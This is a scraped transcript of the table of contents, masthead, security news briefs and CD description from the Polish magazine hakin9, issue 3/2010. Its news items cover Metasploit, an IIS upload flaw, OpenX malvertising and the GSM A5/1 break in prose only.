Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud...

84

Transcript of Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud...

Page 1: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się
Page 2: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się
Page 3: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się
Page 4: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

SPIS TREŚCI

4 HAKIN9

SPIS TREŚCI

5 HAKIN9

NARZĘDZIA12 Netgear Open Source Wrireless-G Router WGR614L

13 Wyczyść swój komputer

POCZĄTKI14 Sygnaturowe odzyskiwanie danych (RAW) ARTUR SKROUBA

Bardzo często się zdarza, że po utracie dostępu do danych z przyczyn logicznych (usunięcie, format, repartycjonowanie, uszkodzenie systemu plików czy też częściowe nadpisanie danych) nie możemy się dostać do sprawnych danych za pomocą standardowych narzędzi typu Data Recovery. Przyczyną tego może być uszkodzenie meta danych systemu plików. Niniejszy artykuł przybliży nam odzyskiwanie plików po sygnaturach (RAW) – czyli ostatnią deskę ratunku w takich sytuacjach..

ATAK20 Metasploit w praktyce WOJCIECH SMOL

Artykuł przedstawia krok po kroku wszystko to, co każdy zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć o testach penetracyjnych oraz metodach stosowanych przez komputerowych włamywaczy, ale bał się własnoręcznie sprawdzić...

28 Luki bezpieczeństwa jądra Windows MATEUSZ JURCZYK

Historia znajdowania i wykorzystywania luk bezpieczeństwa w oprogramowaniu komputerowym sięga dziesiątek lat. W miarę powstawania coraz bezpieczniejszych aplikacji oraz rozwijania wbudowanych w system zabezpieczeń chroniących przed nieuprawnionym wykonaniem kodu, ewoluowały również wektory ataków na potencjalną ofiarę – użytkownika. W niniejszym artykule opisuję możliwe sposoby ataku na najważniejsze elementy systemu Windows – moduły działające w trybie jądra.

36 Rozmowy kontrolowane MAREK NOWAK

Coraz lepsze telefony niosą ze sobą coraz większe ryzyko. Już za kilka lat znajdziemy w nich takie samo złośliwe oprogramowanie co w komputerach biurkowych. Wirusy skopiują nasze dane i wyślą je przez Internet bez wiedzy użytkownika. Czy już pora zacząć się bać?

jest wydawany przez Software Press Sp. z o.o. SK

Prezes wydawnictwa: Paweł Marciniak

Redaktor naczelny: Katarzyna Dę[email protected]

Redaktor prowadzący: Tomasz Przybylski

Kierownik produkcji: Andrzej [email protected]

Dział produkcji kolportażu: Alina [email protected]

Okładka: Agnieszka Marchocka, Łukasz PabianDział reklamy: [email protected]

Obsługa prenumeraty: Dorota Kuś[email protected]

Wyróżnieni betatesterzy:Krzysztof Piecuch,

Maksymilian ArciemowiczOpracowanie CD: Rafał Kwaśny

DTP: seeYou www.i-seeyou.plDruk: ArtDruk www.artdruk.comNakład wersji polskiej 6 000 egz.

Wydawca: Software Press Sp. z o.o. SK

ul. Bokserska 1, 02-682 Warszawa, PolskaTel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt: [email protected]

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje i programy były poprawne, jednakże nie bierze odpowiedzialności za

efekty wykorzystania ich; nie gwarantuje także poprawnego działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich firm i zostały użyte wyłącznie w celach

informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano program firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA! Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej niż wydrukowana na okładce – bez zgody

wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie, Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niemczech,

Austrii, Szwajcarii, Polsce.

Prowadzimy również sprzedaż kioskową w innych krajach europejskich.Magazyn hakin9 wydawany jest

w 4 wersjach językowych:

PL EN FR DE

UWAGA!Techniki prezentowane w artykułach mogą być

używane jedynie we własnych sieciach lokalnych. Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie prezentowanych technik

ani spowodowaną tym utratę danych.

jest wydawany przez Software Press Sp. z o.o. SK

3/2010

Page 5: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

SPIS TREŚCI

4 HAKIN9

SPIS TREŚCI

5 HAKIN9

42 Google Hacking KRZYSZTOF MARZEC

Przyzwyczailiśmy się do Google. Jeszcze parę lat temu łatwo było znaleźć wielu zaciekłych przeciwników tej wyszukiwarki, chroniących się za proxy i kasujących codziennie cookies, aby uchronić resztki prywatności. Dziś mało kto już oburza się na fakt, że jedna konkretna firma ma dostęp do tak wielkiej ilości informacji, a zapytania w Google wpisuje praktycznie każdy użytkownik Sieci.

OBRONA48 Monitorowanie luk w oprogramowaniu MARCIN TEODORCZYK

Artykuł opisuje dwie techniki zarządzanego centralnie monitorowania luk w oprogramowaniu: opartą o skanowanie lokalne i opartą o skanowanie przez sieć. Jako praktyczne przykłady przedstawiono narzędzia Pakiti2 i Nessus.

58 Rozsądek to bezpieczeństwo ŁUKASZ CIESIELSKI

Czy na Twoich barkach spoczywa odpowiedzialność za bezpieczeństwo danych firmy? A może jesteś administratorem sieci? Jeżeli nie, to z całą pewnością jesteś użytkownikiem, ceniącym sobie prywatność i starającym się chronić własny system przed włamaniem. Niektórzy twierdzą, że posiadają dobry program antywirusowy. Niestety osoby te nie wiedzą, co tak naprawdę zagraża ich danym w dzisiejszej rzeczywistości. Zastanawiasz się co zagraża Twojemu komputerowi? I słusznie, ponieważ uświadomienie sobie powagi zagrożenia jest pierwszym krokiem do odpowiedniego zabezpieczenia systemu przed włamaniem.

PRAKTYKA66 Enterprise Private Clouds MICHAŁ KURATCZYK

Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się nie tylko tytuły poświęcone branży IT, ale także biznesowe i popularno-naukowe. Nawet Dilbert wspomina już o cloud computing. Warto zatem zastanowić się czym jest, a czym nie jest cloud computing i jak wpłynie na tworzenie i zarządzanie oprogramowaniem.

BEZPIECZNA FIRMA70 SZBI receptą na bezpieczeństwo informacji ANDRZEJ GUZIK

Kompleksowe podejście do bezpieczeństwa informacji w organizacji wymaga wdrożenia systemu zarządzania bezpieczeństwem informacji (SZBI). Normy serii ISO 27000 stanowią wymagania, najlepsze praktyki i wytyczne w zakresie wdrożenia systemu. W przypadku, gdy klient tego wymaga system można certyfikować.

STAŁE RUBRYKI6 AktualnościPrzedstawiamy garść najciekawszych wiadomości ze świata bezpieczeństwa systemów informatycznych i nie tylko. Oto kilka z nich:

• Ukazał się Metasploit Framework 3.3.3• Mobicast – eksperymentalny projekt

Microsoftu • Ściśle tajny projekt polskich

programistów – Pioneer.OS• Atak na Amazon, Wal-Mart i Gap

10 Zawartość CDCertified Wireless Network Administrator

78 FelietonJak dobre wino… Jeżeli dostrzegamy użyteczność recenzji filmowych, teatralnych, a nawet restauracji czy poszczególnych gatunków wina – to czy wybór specjalistycznych konferencji nie będzie trafniejszy poprzedzony lekturą recenzji ich poprzednich edycji? Jerzy Cichowicz

82 ZapowiedziZapowiedzi artykułów, które znajdą się w następnym wydaniu magazynu hakin9

3/2010

Page 6: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

6

W SKRÓCIE

HAKIN9 3/2010 7

AKTUALNOŚCI

HAKIN9 3/2010

KADU 0.6.6 ALPHA1 WYDANEWydano kolejną rozwojową wersję multikomunikatora Kadu 0.6.6 alpha1. Multikomunikatora, ponieważ do wersji 0.6.6 oficjalnie dołączono moduł odpowiedzialny za podstawową obsługę protokołu XMPP oraz sieci Tlen. Trwają intensywne prace nad nowym inter fejsem użytkownika.

Wersja ta zawiera sporo poprawek w porównaniu do poprzedniej. Aktualnie równolegle do poprawiania błędów w działaniu wewnętrznych funkcji trwają pracę nad nowym inter fejsem komunikatora Kadu. Lista poprawek:

• naprawiono sporo poważnych błędów, jak problemy z rozmowami

• konferencyjnymi w Gadu Gad, czy brak opcji dodania nowego konta w oknie

• dodawania kont,• dodano okno subskrypcji dla

Jabbera i Tlena,• okna dodawania znajomego

i łączenia znajomych zostały znacznie poprawione (zarówno pod względem inter fejsu, jak i działania),

• okno edycji danych znajomego zostało poprawione pod względem inter fejsu użytkownika (na działanie przyjdzie jeszcze czas),

• przy wyłączonej opcji otwieraj okno po przychodzącej wiadomości

• wyświetlają się koperty obok znajomych, od których wiadomości nie

• zostały przez nas przeczytane,• nowa (nieukończona jeszcze)

logika przesyłania plików, moduł file_transfer został włączony do core.

Autorzy dziękują wszystkim za testowanie wersji alpha0 i zgłaszanie błędów! Większość z nich została naprawiona. Liczą na podobny odzew z tą wersją testową, co znacznie przyśpieszy wydanie wersji stabilnej 0.6.6

Przed instalacją wersji rozwojowej zalecane jest utworzenie kopii plików konfiguracyjnych z katalogu ~/.kadu lub uruchamianie programu z parametrem CONFIG_DIR wskazującym na inny niż

domyślny katalog z konfiguracją. Paczki z wersją alpha1 nie będą oficjalnie wydawane przez zespół Kadu, gdyż to wydanie przeznaczone jest dla zaawansowanych użytkowników Linux, Mac, Windows, Haiku.

Dokładna lista zmian: http://gitorious.org/kadu/kadu/blobs/master/ChangeLog

Źródła do samodzielnej kompilacji : http://www.kadu.net/download/unstable/kadu-0.6.6-alpha1.tar.bz2

Zgłaszanie błędów: http://www.kadu.net/forum/viewtopic.php?f=6&t=10234&start=0

Więcej informacji: http://www.kadu.net/forum/viewtopic.php?...34&start=0

UKAZAŁ SIĘ METASPLOIT FRAMEWORK 3.3.3Ukazał się Metasploit Framework w wersji 3.3.3. Ten służący do tworzenia exploitów oraz przeprowadzania zaawansowanych testów penetracyjnych otwarty (open source) projekt doczekał się szeregu kolejnych usprawnień.

Metasploit Framework pozwala nie tylko na używanie zawartych w nim w sposób modularny exploitów, ale również na tworzenie oraz testowanie własnych lub przerabianie tych już istniejących. Można więc powiedzieć, że możliwości przeprowadzania testów penetracyjnych za pomocą środowiska Mestasploit są nawet większe niż w przypadku rozwiązań komercyjnych, takich jak Core Impact firmy Core Security Technologies.

Najnowsze wydanie zawiera 482 exploity oraz 253 payloady (programy wykonywane w przejętym systemie po udanym wykonaniu się programu typu exploit). Programiści skupili się na poprawie kilku błędów, większym zautomatyzowaniu zadań oraz nowej funkcji polegającej na wprowadzeniu rankingów oceniających poszczególne moduły środowiska. Oceny poszczególnych modułów wyznaczane są na podstawie ich potencjalnego wpływu na docelowy system. Moduły mało stabilne lub mogące wyrządzić

szkody w testowanym systemie otrzymują najniższe noty. Ponadto, konsola użytkownika msfconsole pozwala teraz na wyszukiwanie modułów o określonej ocenie (opcja search -r ) oraz niedopuszczenie do stosowania modułów o ocenie niższej od zadanej (opcja setg MinimumRank).

Pomimo niedawnego przejęcia Metasploit Framework przez amerykańską firmę z branży zabezpieczeń Rapid7, zachowany został opensourcowy charakter projektu oraz społecznościowy model rozwoju. Obecna wersja środowiska została stworzona z wykorzystaniem języków programowania: Ruby, C oraz języka Asemblera. Metasploit Framework działa praktycznie we wszystkich wersjach systemu Windows (również w najnowszym Windows 7) oraz w systemach z rodziny Linux/Unix. Dostępne są również dystrybucje systemu Linux stworzone z myślą o testach penetracyjnych i zawierające już zainstalowane i skonfigurowane do pracy środowisko Metasploit Framework. Przykładem takiego systemu jest BackTrack 4.

Osobom zainteresowanym zapoznaniem się z praktycznymi możliwościami najnowszego środowiska Metasploit polecam artykuł prezentujący krok po kroku przykładowy test penetracyjny.

Informacje na temat najnowszej wersji Metasploit Framework, jako pierwszy w Polsce opublikował serwis HARD CORE SECURITY LAB.

Więcej informacji: http://blog.metasploit .com/2009/12/metas...ploit .html

MOBICAST – EKSPERYMENTALNY PROJEKT MICROSOFTUUlokowane w stolicy Egiptu laboratorium Microsoftu pracuje nad ciekawym projektem Mobicast, który umożliwia tworzenie połączonego obrazu wideo z kilku filmów nagrywanych telefonem komórkowym – a wszystko to w czasie rzeczywistym.

Oprogramowanie postępuje z plikami wideo podobnie, jak

Page 7: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

6

W SKRÓCIE

HAKIN9 3/2010 7

AKTUALNOŚCI

HAKIN9 3/2010

Photosynth czyni to ze zdjęciami. Jak widać na filmie demonstrującym możliwości projektu, Mobicast został zaprojektowany do współpracy z niskiej rozdzielczości materiałem wideo nagrywanym telefonem komórkowym, dzięki czemu aplikacja może na żywo generować panoramę wideo. By Mobicast był w stanie połączyć dwa (lub więcej) filmy ze sobą, muszą one przez większość czasu trwania posiadać wspólne punkty. Stosowne oprogramowanie należy zainstalować na telefonie i umożliwić mu komunikację z serwerem projektu, który odpowiedzialny jest za obróbkę i montaż materiału – w trakcie tego procesu wykorzystywane są m.in. wskazania GPS-ów umieszczonych w telefonach, ułatwiające pracę algorytmów pozycjonujących.

Na obecnym etapie projektu Mobicast działa jedynie z telefonami pracującymi pod kontrolą Windows Mobile, choć niewykluczone, że z czasem jego zasięg zostanie rozszerzony.

ŚCIŚLE TAJNY PROJEKT POLSKICH PROGRAMISTÓW – PIONEER.OSKilkoro ambitnych programistów z Polski postanowiło za wszelką cenę zmienić świat oprogramowania. Chcą pokazać światu na co stać Polaków. Właśnie rozpoczynają pierwszą fazę projektu pod kryptonimem Pioneer.OS. Szymon Kita i Bartłomiej Malanowski – założyciele grupy programistycznej PowerTeam Software mają wielkie nadzieje i ambicje wiążące się z tym i innymi projektami.Przede wszystkim mamy innowacyjny pomysł, który już niedługo zostanie zgłoszony do urzędu patentowego. Wszystkie dane dotyczące tajemniczego projektu Pioneer.OS są ściśle tajne i nie zostaną na razie ujawnione. Przewidywany czas

zakończenia projektu szacowany jest na drugą połowę 2015 roku.

PowerTeam Software chce stworzyć od podstaw to, co zdaniem polskich programistów, Microsoft zepsuł – chce stworzyć oprogramowanie od zera. Nie ma co ukrywać, że projekt jest bardzo ambitny, ale równie ambitni są jego pomysłodawcy. Mają oni również nadzieję, że znajdzie się jakiś sponsor, który wspomoże projekt.Pioneer to zupełnie nowa plat forma oparta na opracowanej przez PowerTeam Software architekturze. Dzięki zastosowaniu najnowszych osiągnięć technologicznych, nowoczesnego sprzętu i innowacyjnych algorytmów, jesteśmy wstanie stworzyć dopasowaną do użytkownika, niezawodną plat formę dla najróżniejszych komputerów i systemów obliczania. Wszystkie rozwiązania są opracowane na nowo dla naszego systemu. W projekcie nie ma żadnego mechanizmu skopiowanego z systemu Windows, MacOS – UNIX czy linuksowych dystrybucji.

NOWY DOWÓD OSOBISTYJak pogodzić rozwój technologii z pokusą stworzenia rządowego oka Wielkiego Brata? Ile biometrii w nowych dowodach osobistych? Ile danych o obywatelach w przyszłym rejestrze dowodów? - zastanawia się Gazeta Wyborcza.

Dyskutować ma o tym Rada Ministrów. To będzie drugie podejście, bo założenia do projektu nowej ustawy o dowodach szef MSWiA Jerzy Miller miał przedstawić na posiedzeniu rządu w przedświąteczny wtorek. Ale

premier Donald Tusk polecił Millerowi go poprawić – dowiedziała się GW w Centrum Informacyjnym Rządu.

O przymiarkach do biometrycznych dowodów osobistych mówi się od dawna. Pozostał rok – tylko tyle ma rząd na wprowadzenie nowych dokumentów tożsamości, które zastąpią obecne plastikowe dowody osobiste. Nic w tej sprawie nie jest przesądzone – mówi gazecie Paweł Graś, rzecznik rządu. Poza jednym – obecne plastikowe dowody osobiste mają dziesięcioletni termin ważności. Kontrowersje budzi głównie zakres danych biometrycznych, które znajdą się w nowym dokumencie. Chodzi o informacje o fizycznych cechach człowieka (np. linie papilarne, tęczówka oka, kształt twarzy itp.), które pozwalają na identyfikację jego tożsamości. Nie jest ponadto przesądzona sprawa ewentualnej darmowej wymiany dowodu osobistego.

ATAK NA AMAZON, WAL-MART I GAPUsługi Amazona, Wal-Martu i innych sklepów online zostały na krótko zablokowane, gdy firma zajmująca się obsługą serwerów DNS tychże serwisów padła ofiarą ataku DDoS (Distributed Denial of Service ).

Oferująca usługi DNS firma NeuStar, poinformowała, że do ataku doszło dwa dni przed świętami, zaś sam atak uniemożliwił skorzystanie z usług przede wszystkim internautom ze stanu Kalifornia. Strony zostały zablokowane na godzinę – stało się to w ubiegłą środę, wieczorem. W wyniku ataku, osoby, które starały się w ostatniej chwili zakupić prezenty na Amazonie, Wal-Mart, czy Gap, musiały odejść z kwitkiem.

Po przeanalizowaniu sytuacji udało nam się przepuścić ruch internetowy w inny sposób – można przeczytać w komunikacie NeuStara. Źródło: TheRegister.co.uk

LUKA W IISPewien ekspert ds. bezpieczeństwa odkrył lukę w najnowszej wersji oprogramowania Microsoft Internet

Page 8: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

8

W SKRÓCIE

HAKIN9 3/2010 9

AKTUALNOŚCI

HAKIN9 3/2010

Information Services pozwalającą atakującemu uruchomić złośliwy kod na maszynie korzystającego z tego popularnego serwera WWW. Błąd związany jest ze sposobem parsowania przez IIS nazw plików zawierających przecinki lub średniki – tłumaczy Soroush Dalili. Wiele aplikacji webowych odrzuca uploady, które zawierają pliki wykonawcze, np. zbiory z rozszerzeniem .asp. Jednak dodając .jpg lub inne niegroźne rozszerzenie do złośliwego pliku, atakujący może obejść tego typu filtry i potencjalnie oszukać serwer, aby ten uruchomił złośliwe oprogramowanie.

Mimo że Dalili określił lukę w IIS wysoce krytyczną, zajmująca się bezpieczeństwem firma Secunia uważa, iż nie jest ona tak poważna. Rzeczniczka Microsoftu poinformowała, iż specjaliści firmy badają problem. Aby tymczasowo uniknąć ataku, administratorzy serwisów korzystających z Internet Information Services powinni zablokować możliwość uruchamiania plików w katalogu służącym do przechowywania wrzucanych plików. Żródło: TheRegister.co.uk

HACKING ZA MURAMI WIĘZIENIA44-letni więzień zakładu Plymuth County Correctional Facility będzie musiał odsiedzieć, oprócz zasądzonej kary,

dodatkowe 18 miesięcy za włamanie do komputera więziennego.

Komputer został zakupiony przez zakład jako pomoc naukowa dla skazanych. Jednakże Francis „Frank” Janosko obszedł jego zabezpieczenia i wykorzystał komputer do wysyłania listów elektronicznych oraz uzyskał dostęp do danych osobowych ponad 1100 osób pracujących w zakładzie. Janosko udało się pozyskać takie informacje, jak daty urodzeń, numery ubezpieczeń, numery telefonu oraz adresy domowe pracowników więzienia. Na ironię, otrzymany przez zakład komputer nazywany był super bezpiecznym cienkim klientem (ang. thin-client). Jedynym programem, jaki, wydawało się, można uruchomić, była dedykowana aplikacja więzienna. Jak się jednak okazało, spryt Janosko pozwolił mu na uruchomienie w terminalu innych programów.

Prokuratorzy poinformowali, że Janosko był również w stanie pobierać filmy wideo, co czyniło jego pobyt w więzieniu bardziej rozrywkowym. Źródło: www.theinquirer.net

ATAK NA ADOBE READER Z WYKORZYSTANIEM LUK W OPENXHakerzy wykorzystali popularne oprogramowanie reklamowe open source do umieszczania złośliwego kodu w reklamach na witrynach WWW.

Napastnicy wykorzystali błędy w oprogramowaniu reklamowym OpenX do wejścia na serwery obsługujące reklamy internetowe i umieszczenia złośliwego kodu w reklamach dostarczanych przez te serwery na kilka popularnych witryn. W pierwszym kroku napastnicy wykonali atak w celu uzyskania uprawnień do takiego serwera, a następnie sprowadzili na serwer kod ukryty w grafice (skrypt PHP). Przeglądając taką grafikę, uruchamiali skrypt na serwerze, który dołączał kod HTML do każdej reklamy obsługiwanej przez serwer. Ramka iframe HTML kieruje odwiedzających witrynę do serwera w Chinach, skąd sprowadzany jest kod złośliwy wykorzystujący świeże luki w aktualnej wersji Adobe Reader. Eksperci od spraw bezpieczeństwa twierdzą, że jak dotychczas luki w Adobe Reader nie były szerzej wykorzystywane w atakach online, chociaż zostały opublikowane. Symantec potwierdził, iż w poniedziałek,

Page 9: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

8

W SKRÓCIE

HAKIN9 3/2010 9

AKTUALNOŚCI

HAKIN9 3/2010

w tygodniu przedświątecznym, odnotowano mniej niż 100 ataków wykorzystujących luki Adobe.

Użytkownicy Adobe Reader mogą uniknąć nowego ataku wyłączając po prostu JavaScript w oprogramowaniu Adobe Reader.

ZŁAMANO ZABEZPIECZENIA TELEFONÓW KOMÓRKOWYCH?21-letni algorytm chroniący rozmowy telefoniczne większości posiadaczy komórek mógł zostać złamany. Może to stanowić poważne zagrożenie dla prywatności oraz bezpieczeństwa.

80% działających obecnie na świecie telefonów komórkowych chronionych jest za pomocą 21-letniego algorytmu GSM. 28-letni niemiecki inżynier komputerowy – Karsten Nohl – poinformował w czasie trwającego w Berlinie Chaos Communication Congress, że udało mu się go złamać. Claire Cranton, przedstawicielka GSM Association, organizacji reprezentujący firmy telekomunikacyjne z całego świata, powiedziała, że teoretycznie jest to możliwe, praktycznie jednak nie. Do tej pory nikomu nie udało się bowiem złamać zabezpieczenia – informuje New York Times.

Nohl zagroził, że ujawni wyniki swoich prac, wystawiając tym samym na publiczny widok prywatność większości użytkowników komórek – 3,5 z 4,3 mld osób korzysta bowiem z technologii GSM. Jest on bowiem zdania, że tylko w ten sposób zmusi producentów

telefonów komórkowych do podniesieniu poziomu bezpieczeństwa.

Wykorzystywane powszechnie od 1988 roku algorytm A5/1 jest 64-bitowym kodem. Dwa razy silniejszy kod zabezpiecza rozmowy w sieciach trzeciej generacji. Od 2007 roku istnieje także 128-bitowa wersja algorytmu A5/1 - A5/3. Ta jednak nie została jeszcze wprowadzona do większości sieci telekomunikacyjnych ze względu na konieczność dokonania pewnych inwestycji.

Nohl podkreślił, że podjął wszelkie kroki, aby jego działania były zgodne z prawem. Nie zamierza on wykorzystywać zdobytej przez siebie wiedzy do rozkodowywania rozmów telefonicznych. Chce jedynie zwrócić uwagę na istniejący problem.

Deklaracji Niemca nie należy lekceważyć. Skoro złamanie zabezpieczeń sieci jest teoretycznie możliwe, jedynie kwestią czasu jest, by dokonało się ono w rzeczywistości. 21-letni okres, jaki upłynął od momentu ustanowienia A5/1, to sporo czasu na znalezienie sposobu jego złamania. Producenci telefonów komórkowych, a także operatorzy telekomunikacyjni powinni podjąć działania mające na celu zwiększenie poziomu bezpieczeństwa, a także ograniczenie ewentualnych strat.

BEZ ZAGROŻEŃ W SIECI VI Kongres Bezpieczeństwa SieciData: 23-24 lutego 2010Miejsce: Hotel Novotel Airport , ul. 1 sierpnia 1, WarszawaZapraszamy do udziału w VI już edycji Kongresu Bezpieczeństwa Sieci organizowanego przez zespół SW Konferencje.Podczas Kongresu poruszymy tematykę z obszaru trzech głównych bloków: Network Security GigaCon, Firewall & VPN GigaCon, Secure Mail GigaCon.

To bez wątpienia jedno z najwiekszych spotkań branży bezpieczeństwa w Polsce.Wykładom będzie towarzyszyć wystawa najnowszych rozwiązań i produktów z zakresu bezpieczeństwa sieci,

a także prelekcje uznanych niezależnych ekspertów i gości specjalnych.Udział w konferencjach jest bezpłatny dla uczestników! Nie zwlekaj zgłoś się już dziś! Liczba miejsc ograniczona!

Proponowana tematyka:Firewall & VPN GigaConFV1 – Firewall ApplianceFV2 – Firewalle sprzętoweFV3 – Personal firewallFV4 – Firewalle programoweFV5 – Zarządzanie pasmem sieci QOSFV6 – VPN – Wir tualne Sieci PrywatneFV7 – Systemy wykrywania włamań (IDS) i zapobiegania włamaniom (IPS)

Network Security GigaConNS1 – Appliance – ochrona zintegrowanaNS2 – Audyt i polityka bezpieczeństwa sieciNS3 – Zarządzanie tożsamością i kontrola dostępuNS4 – Bezpieczeństwo punktów końcowych (Endpoint security)NS5 – Narzędzia do zarządzania sieciąNS6 – Zabezpieczenia biometryczneNS7 – Bezpieczeństwo sieci bezprzewodowych

Secure Mail GigaConSM1 – Ochrona antywirusowaSM2 – Ochrona przed spamem na serwerzeSM3 – Ochrona przed spamem po stronie klientaSM4 – Bezpieczeństwo serwerów pocztowychSM5 – Oprogramowanie typu spyware i adwareSM6 – Filtrowanie treści, content securitySM7 – Problem spamu a działalność marketingowa w Internecie

Więcej informacji i BEZPŁATNA rejestracja na stronie: http://gigacon.org/kbs

Kontakt z organizatorem:Kinga LasońTel. : 022 427 36 71e-mail : [email protected]

Page 10: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

10

NA CD

HAKIN9 3/2010

Żeby uruchomić swój komputer z płyty hakin9.live, ustaw swój BIOS na bootowanie z napędu CD-ROM. Po dokonanych zmianach uruchom ponownie komputer. Uruchomi się dystrybucja hakin.live, na której możesz przećwiczyć techniki prezentowane w tutorialach. Upewnij się Drogi Czytelniku czy sprawdziłeś desktopowe foldery – zawierają wiele dodatkowych materiałów. Zawartość CD można również przejrzeć w systemie Windows.

ZAWARTOŚĆ CD

HAKIN9 AND SEQURIT SPONSOROWANE ECSA/LPT BOOTCAMP CBT VIDEOSFormat video przeznaczony dla IPOD/IPHONES i innych przenośnych urządzeń multimedialnych.

ECSA/LPT program treningowy – to wysoce interaktywny kurs bezpieczeństwa, mający na celu uczyć Profesjonalnego Bezpieczeństwa, zaawansowanych sposobów użycia dostępnych metod, narzędzi i technik niezbędnych do wykonania kompleksowych badań bezpieczeństwa informacji.

Studenci nauczą się jak projektować, zabezpieczać i testować sieci w celu ochrony organizacji przed grożącymi jej atakami hakerów i crakerów.

Przy pomocy technologii LPT, metodologia i (ground breaking techniques) łamania techniki bezpieczeństwa i testów penetracyjnych (penetration testing). Ten kurs pomoże przygotować zabezpieczenia (intensive assessments), wymagane do skutecznego identyfikowania i minimalizacji zagrożeń dla bezpieczeństwa infrastruktury.

Studenci z kursu, obejmującego swym zasięgiem tematy analizy i testowania bezpieczeństwa sieci, nauczą się identyfikować problemy dotyczące bezpieczeństwa, ale także dowiedzą się, jak ich unikać, a także eliminować.

Kurs pomoże w przygotowaniach do zdania egzaminu 412-79, niezbędnego do osiągnięcia EC-Council Certified Security Analyst (ECSA). Certyfikacja Sequrit jest autoryzowanym szkoleniowcem EC-Council.

Kurs został stworzony przy współpracy z najlepszymi trenerami bezpieczeństwa w branży, którzy pomogli rozwinąć ostateczny program szkoleń i certyfikacji, zawierający wszystko, co jest potrzebne, aby w pełni przygotować się i zdać egzamin certyfikacyjny.

Product daje uczniom dostęp do egzaminów, zapewniając Voucher Number.

EC-Council Voucher Number może być użyty w dowolnym centrum Prometric i jest obowiązkowy, aby móc zapisać się na egzamin.

EHACK LAB – LMS PORADNIK DOSTĘPOWY LTen krótki poradnik pokaże jak stworzyć nowe konto w eHack LMS (Learning Management System) oraz zarejestrować się na kursy i pobrać przygotowane materiały.

Na www.tinyurl.com/ehacklablms obejrzeć można wideo-instrukcję LMS.

1. Korzystając z przeglądarki internetowej przechodzimy do http://www.ehacklab.com/lms. To strona domowa, na której można zobaczyć wszystkie kursy jakie oferuje firma,

sponsorów, kalendarz strony, jak również newsy i aktualizacje bloga. Jak widać w prawym górnym rogu strony, obok wyboru języka, widać aktualny stan, obecnie not logged In, czyli niezalogowany.

2. Przechodzimy na stronę logowania klikając link (Login). Link przenosi do strony, na której można zalogować się na już istniejące konto albo stworzyć nowe. W tym poradniku stworzymy nowe konto, żeby móc zarejestrować się później na kurs. Strona będzie wyglądać tak:

3. Rozpoczynamy tworzenie nowego konta, klikając na przycisk Create new account .

Page 11: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

11

ZAWARTOŚĆ CD

HAKIN9 3/2010

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona

mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

[email protected]

4. Pokazuje się teraz ekran, na którym padają pytania o podstawowe informacje, dzięki którym zostanie utworzone nowe konto.

5. Link z potwierdzeniem zostanie wysłany na podany adres e-mail. Należy postępować zgodnie z instrukcjami z linku, żeby potwierdzić swój adres e-mail, zanim dostaniemy dostęp do LMS.

E-mail wygląda tak:

Należy kliknąć na link i się zalogować do LMS. Następnie odczytać swój klucz rejestracyjny, dzięki któremu można zapisać się na kurs.

6. Należy wybrać kurs.

7. Wpisać klucz rejestracyjny, który był nadany przez instruktora i kliknąć przycisk Enroll me in this course.

Dokonano wpisu na kurs.

Za pomocą strony mamy dostęp do LMS, kursów i wszystkich narzędzi i zasobów, niezbędnych do rozpoczęcia kursu.

